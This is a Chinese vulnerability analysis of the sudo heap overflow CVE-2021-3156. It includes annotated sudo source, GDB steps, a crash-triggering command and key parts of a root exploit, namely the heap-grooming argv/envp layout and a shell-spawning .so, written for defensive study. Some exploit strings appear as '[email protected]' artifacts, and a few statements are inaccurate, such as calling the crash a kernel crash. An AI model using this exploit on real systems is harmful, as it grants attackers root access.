1.1漏洞介绍
2021年1月26日,sudo发布安全通告,修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo造成内核崩溃,甚至获得系统root权限。
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
1.3 漏洞自查及修补建议
我们可以在终端中输入sudo -V查看sudo版本如下图所示:
判断本地sudo版本是否存在该漏洞,我们可以输入“sudoedit -s /”来手动测试,如下图:
执行命令后回显为sudoedit的用法则说明该sudo版本漏洞已经被修补,而存在漏洞的sudo会回显“sudoedit:/:not a regular file”如下图:
针对该漏洞的修补,只需要及时更新sudo即可:
sudo apt update sudo // Debian / Ubuntu
sudo yum -y update sudo // CentOS
漏洞发生的根本原因在于sudo错误地将参数中的反斜杠“/”进行了转义。在通常情况下,通过shell(sudo -i或sudo -s)执行命令时,sudo会转义特殊字符,然而“-s”或“-i”也可能被用来运行sudoedit,在这种情况下,实际上特殊字符没有被转义,这就可能导致缓冲区溢出。
此漏洞的关键POC如下:
由上图可知,当我们直接执行图中的命令时,回显的信息提示这是一个内存错误,这就说明sudo没有正确的处理好反斜杠,调用python生成的80个垃圾字符“A”并没有被正确转义导致缓冲区溢出。
随后我们可以深入到sudo源码中查看为何上图的一条命令可以造成缓冲区溢出,从而导致内核崩溃甚至达到提权的目的。
在sudo.c的main函数中,程序会调用parse_args函数来处理传入的参数,其中有一段处理转义字符的代码片段如下:
int parse_args(int argc, char **argv, int *nargc, char ***nargv,
struct sudo_settings **settingsp, char ***env_addp)
{
......
// 条件,当flags设置为MODE_SHELL或MODE_LOGIN_SHELL,且mode设置为MODE_RUN时
if (ISSET(flags, MODE_SHELL|MODE_LOGIN_SHELL)
&& ISSET(mode, MODE_RUN)) {
//开始构造"shell -c <command>"
char **av, *cmnd = NULL;
int ac = 1;
if (argc != 0) {
/* shell -c
"command" */
char *src, *dst;
size_t size = 0;
for (av = argv; *av != NULL; av++)
size += strlen(*av) + 1;
if (size == 0 || (cmnd = reallocarray(NULL, size, 2)) ==
NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable
to allocate memory"));
if (!gc_add(GC_PTR, cmnd))
exit(1);
// 开始处理传入的参数
for (dst = cmnd, av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/*
quote potential meta characters */
// 将字符转义,如果存在 "_" "-" "$" 就在 command前面加上转义符"\"
if (!isalnum((unsigned char)*src)
&& *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
if (cmnd != dst)
dst--; /*
replace last space with a NUL */
*dst = '\0';
ac += 2; /* -c cmnd */
}
......
}
上图中可以看到参数的处理方式为:当flags设置为MODE_SHELL或MODE_LOGIN_SHELL,且mode设置为MODE_RUN时,控制流会进入条件判断的代码中,构造shell -c <command>指令,并在其中处理<command>中的一些转义字符,在这些字符前添加反斜杠。
而当执行sudo命令时设置了-s或-i参数,parse_arg函数将会同时设置MODE_RUN和MODE_SHELL标志:
int parse_args(int argc, char **argv, int *nargc, char***nargv,
struct sudo_settings **settingsp, char ***env_addp)
{
······
/*
First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 &&
strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
······
case 'i':
sudo_settings[ARG_LOGIN_SHELL].value = "true";
// 设置MODE_LOGIN_SHELL
SET(flags, MODE_LOGIN_SHELL);
break;
······
case 's':
sudo_settings[ARG_USER_SHELL].value = "true";
// 设置 flags为MODE_SHELL
SET(flags, MODE_SHELL);
break;
······
if (!mode)
{
/* Defer -k mode setting until we know whether it is a flag or
not */
if(sudo_settings[ARG_IGNORE_TICKET].value != NULL)
{
if (argc == 0&& !(flags & (MODE_SHELL | MODE_LOGIN_SHELL)))
{
mode = MODE_INVALIDATE; /* -k by itself */
sudo_settings[ARG_IGNORE_TICKET].value = NULL;
valid_flags = 0;
}
}
// 未设置mode时默认为MODE_RUN
if (!mode)
mode = MODE_RUN; /* running a command */
}
//
...
//若标志位为MODE_LOGIN_SHELL
if (ISSET(flags, MODE_LOGIN_SHELL))
{
......
// 同时设置 MODE_SHELL
SET(flags, MODE_SHELL);
}
//
...
}
阶段性结论:
经过目前的分析我们可以得知,parse_arg函数会首先检测命令长度,如果长度progname大于4且后面的字母是“edit”,则说明调用的命令为sudoedit。随后程序开始构造shell -c <command>指令,在构造的过程中若<command>中存在-s参数,程序会同时设置MODE_RUN和MODE_SHELL标志,最终进入处理转义字符的代码片段。
下面我们进一步追踪程序流,程序会进入policy_check函数,由于该函数中使用了虚表,无法静态分析后续调用,因此使用GDB动态调试进行跟踪,在调用GDB后使用以下语句引入sudoedit并设置参数:
file sudoedit //输入需要调试的文件
set args -s '\' AAAAAAAA //设置参数
b policy_check //在policy_check处打断点
随后在GDB中输入r(run)执行到断点处,输入s(step)步入,根据调试发现程序流下一个调用的函数为sudoers_policy_check,如下图:
随着动态调试发现的sudoers_policy_check函数,进一步进行源码跟踪:
sudoers_policy_check(int argc, char * const argv[], char*env_add[],
char **command_infop[], char **argv_out[], char**user_env_out[])
{
struct sudoers_exec_args exec_args;
int ret;
debug_decl(sudoers_policy_check,
SUDOERS_DEBUG_PLUGIN)
if (!ISSET(sudo_mode, MODE_EDIT))
SET(sudo_mode, MODE_RUN);
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;
ret = sudoers_policy_main(argc, argv, 0, env_add,
&exec_args);
if (ret == true && sudo_version >= SUDO_API_MKVERSION(1, 3)) {
/*
Unset close function if we don't need it to avoid extra process. */
if (!def_log_input && !def_log_output
&& !def_use_pty &&
!sudo_auth_needs_end_session())
sudoers_policy.close = NULL;
}
debug_return_int(ret);
}
根据源码我们不难得出,程序流进入到了sudoers_policy_main方法中:
int sudoers_policy_main(int argc, char * const argv[],
int pwflag, char *env_add[], void *closure)
{
··· ···
··· ···
/*
* Make a local copy of argc/argv, with
special handling
* for pseudo-commands and the '-i' option.
*/
if (argc == 0) {
··· ···
} else {
/*
Must leave an extra slot before NewArgv for bash's --login */
NewArgc = argc;
NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
··· ···
}
memcpy(++NewArgv, argv,
argc * sizeof(char *));
NewArgv[NewArgc] = NULL;
··· ···
}
}
··· ···
//<command>处理取消转义的方法
cmnd_status = set_cmnd();
··· ···
··· ···
··· ···
}
在sudoers_policy_main方法中,我们找到了用于处理command中取消转义的方法set_cmnd,随后我们通过动态调试的方法查看sudo是如何处理我们传入的参数的,此时我们可以得到NewArg的结构如下图:
可见NewArg用于接收我们传入的参数,其中NewArgc指参数个数(3),NewArgv为一个数组,分别存放[sudoedit,’\\’,AAAAAAAA],随后进入set_cmnd函数中:
static int set_cmnd(void)
{
··· ···
··· ···
/*
set user_args */
if (NewArgc > 1) {
char *to, *from,
**av;
size_t size,
n;
/* Alloc and build up user_args. */
//根据参数总长度计算size, 后续malloc 申请,没有问题
for (size = 0, av = NewArgv + 1; *av;av++)
size += strlen(*av) + 1;
if (size == 0 ||(user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"),__func__, U_("unable to allocatememory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode,MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell,
the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging
purposes.
*/
//将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
//但这里\x00 并不算空格类型字符
//代码没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
for (to = user_args, av =NewArgv + 1; (from = *av);av++) {
while (*from) {
if (from[0] == '\\'&& !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}
··· ···
}
}
一路跟踪终于来到漏洞点,首先这段代码在申请内存的部分是没有问题的,然而在将参数拷贝放入堆中时,这部分代码并没有考虑参数只有一个反斜杠或反斜杠后两个字符就是字符串的情况:它把每个参数取出来,让from指针指向参数内容,to指针则指向堆内存,然后判断如果是反斜杠+非空格字符这种结构,就只拷贝后面这个字符,不拷贝反斜杠。参数与参数之间用空格分割。
而恰巧,内存中数据的存储方式刚好符合我们上面分析的场景,反斜杠和字符在内存中是相邻存储的:
41是“A”,5c就是我们的反斜杠。如果有一个参数只有一个反斜杠,那么根据上面代码里的流程,由于反斜杠+\x00满足反斜杠+非空格字符这一条件(这里isspace()方法检测的空字符仅指空格,\x00显然不属于非空字符),所以from++,然后将\x00拷贝到堆内存中,from再次++,发现问题了没有,这里from指针已经指向了下一个参数了,而程序是如何区分不同参数的?
靠的是while循环里的判断条件,即根据\x00来判断,而from指针的两次自加使得这个判断被绕过了,因此程序连续拷贝了两个参数,而这个反斜杠参数拷贝完,下一个参数还会再拷贝一次,对于sudoedit -s ‘\’ AAAAAAAA来说,相当于程序拷贝了AAAAAAAA两次,但是申请内存计算size的时候只计算了一个AAAAAAAA,所以导致了堆溢出,而这个漏洞之所以危害性高也是因为堆溢出的内容是用户完全自主可控的,所以才让后面的进一步利用如提权等成为可能。
在了解了漏洞点后,我们设置gdb参数反斜杠后加了16个“A”字符来体现溢出,随后一直执行到程序申请内存时计算size这一步,可以看到程序计算的size为19,那么依据申请内存的代码,会malloc申请一个0x20的堆用于存储这段数据:
随后我们将这个for循环跑完,即malloc完地址此时再查看堆的情况发现申请的堆块结构已经被破坏了,堆的大小被修改成了0x41414141414141如下图,此时也就可以进行后续的提权手段了。
阶段性结论:
根据目前的分析我们可以得到parse_args添加转义的条件和set_cmnd取消转义的条件如下表所述:
函数 | 限制 |
parse_args | MODE_RUN && MODE_SHELL |
set_cmnd | (MODE_RUN | MODE_EDIT | MODE_CHECK) && (MODE_SHELL | MODE_LOGIN_SHELL) |
这里我们试想,有没有可能让程序绕过parse_args的添加转义操作,又能执行set_cmnd的取消转义操作?更进一步讲,在设置了MODE_SHELL标志的前提下设置MODE_EDIT或MODE_CHECK标志,这样就实现了我们所设想的情况。即条件为
MODE_SHELL&& !MODE_RUN && (MODE_EDIT|| MODE_CHECK)
答案似乎是否定的,当我们直接给sudo传入-l或-e参数时,代码中会将valid_flags标志设置为MODE_NONINTERACTIVE 或 MODE_LONG_LIST。而此时flags标志为 MODE_SHELL或 MODE_LOGIN_SHELL,这种情况下我们无法绕过程序中的一个特殊的判断条件:
flags & valid_flags) != flags
满足这个判断条件时,sudo会直接调用usage方法,输出用法,此时我们就无法让程序朝着我们预期的方向去执行了。其部分代码我也放在下图以供分析:
int parse_args(int argc, char **argv, int*old_optind, int *nargc, char ***nargv,
struct sudo_settings **settingsp, char ***env_addp)
{
//
...
for (;;)
{
if ((ch = getopt_long(argc, argv,short_opts, long_opts, NULL)) != -1)
{
switch (ch)
{
// ...
case 'e':
if (mode && mode !=MODE_EDIT)
usage_excl();
// 设置 mode 为 MODE_EDIT
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags =
MODE_NONINTERACTIVE;
break;
// ...
case 'l':
if (mode)
{
if (mode == MODE_LIST)
SET(flags,
MODE_LONG_LIST);
else
usage_excl();
}
// 设置 mode 为 MODE_LIST
mode = MODE_LIST;
valid_flags =MODE_NONINTERACTIVE | MODE_LONG_LIST;
break;
// ...
}
}
// ...
}
//
...
//在此处将MODE_LIST 更新为 MODE_CHECK
if (argc > 0 && mode ==
MODE_LIST)
mode = MODE_CHECK;
//
...
//必须绕过的特殊判断条件
if ((flags & valid_flags) != flags)
usage();
//
...
}
幸运的是我们可以绕过对valid_flags的设置,还记得前面我们分析的parse_args函数对于构造command部分对于NewArgv[0]的处理吗?当参数长度大于4满足条件时会进入内部处理代码,将其设置为”sudoedit”,并将mode设置为MODE_EDIT,并且后续代码也没有处理valid_flags标志的地方,让我们一开始设想的情景得以实现。为了方便阅读,我把这部分代码放到下面以供分析:
int parse_args(int argc, char **argv, int*old_optind, int *nargc, char ***nargv,
struct sudo_settings **settingsp, char ***env_addp)
{
//
...
int valid_flags = DEFAULT_VALID_FLAGS;
//
...
/*
First, check to see if we were invoked as "sudoedit". */
//如果以sudoedit 打开
proglen = strlen(progname);
if (proglen > 4 &&
strcmp(progname + proglen - 4, "edit") == 0)
{
progname = "sudoedit";
// 则设置 mode 为 MODE_EDIT
mode = MODE_EDIT;
// 注意之后就没有再设置 valid_flags了
sudo_settings[ARG_SUDOEDIT].value = "true";
}
//
...
//必须绕过的特殊判断条件
if ((flags & valid_flags) != flags)
usage();
//
...
}
综上,这个漏洞相当的理想。首先user_args堆内存的长度是完全可控的,并且由于sudoedit参数在内存中的位置和变量相邻,因此越界写入的数据也是完全可控的。最初级的我们可以触发malloc的corrupt,复杂一些的话我们可以实现提权。
笔者经过本地验证可提权的EXP部分关键代码如下:
……
char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
//
Use some LC_ vars for heap Feng-Shui.
//
This should allocate the target service_user struct in the path of the overflow.
char messages[0xe0] = {"[email protected]"};
memset(messages + strlen(messages), 'A', 0xb8);
char telephone[0x50] = {"[email protected]"};
memset(telephone + strlen(telephone), 'A', 0x28);
char measurement[0x50] = {"[email protected]"};
memset(measurement + strlen(measurement), 'A', 0x28);
//
This environment variable will be copied onto the heap after the overflowing
chunk.
//
Use it to bridge the gap between the overflow and the target service_user
struct.
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\\");
//
Overwrite the 'files' service_user struct's name with the path of our shellcode
library.
//
The backslashes write nulls which are needed to dodge a couple of crashes.
char* envp[] = {
overflow,
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"XXXXXXX\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"x/x\\",
"Z",
messages,
telephone,
measurement,
NULL};
……
目前广为流传EXP核心思路时通过精细的堆布局,溢出覆盖nss_load_library函数加载so时需要用到的结构体service_user,覆盖次结构体中的so字符串,即达到了程序加载我们指定的so文件,从而实现任意代码执行。笔者收集了一份更精简直观的EXP,同目录下存在X.so.2用于提权,so文件中的汇编代码如下:
可见其使用了setuid和setgid方法,随后执行system(“/bin/sh”) 完成提权并返回一个shell。此处的原理为当文件的owner是root时,若程序内部执行了setuid(0)和setgid(0)就可以成功提权至root。
我们查看sudo程序的权限,发现其权限为rws:
其中的s权限指setuid标志,一个可执行文件在执行时,一般该程序只拥有调用该程序的用户具有的权限,而 setuid标志可以让普通用户以 owner 权限运行只有 owner 帐号才能运行的程序或命令。恰巧sudo程序的owner就是root,因此简单的几行代码就可以完成提权。广泛地来讲:倘若含有 setuid 标志的软件存在漏洞,那我们就可以通过这些漏洞来获取更高权限。
至此,漏洞的详细分析部分我们就已经介绍完毕,下文会结合前面的漏洞利用特征分析可行的针对该漏洞的检测思路。
总体上来讲,Sudo缓冲区溢出漏洞CVE-2021-3156对攻击者来说是十分理想的漏洞,不同于成功率低、需要越界写一个不可控的指针而言,CVE-2021-3156中的关键标志、指针都是完全可控的,数据在内存中也是相邻存放的,相对的EXP也仅需要考虑堆布局的细节,而无需考虑复杂的利用手段来泄露内核地址来绕过内核地址空间布局随机化(Kernel Address Space Layout Randomization,KASLR),CVE-2021-3156这个漏洞同大名鼎鼎的脏牛(CVE-2016-5195)和今年3月份披露出的脏管道(CVE-2022-0847)一样提权的成功率都较高且利用难度低,值得安全从业人员去进行分析学习,以便理解漏洞的形成原因和提权手法,在此基础上总结出行之有效的对应漏洞的检测、防护方法是本篇文章的初衷。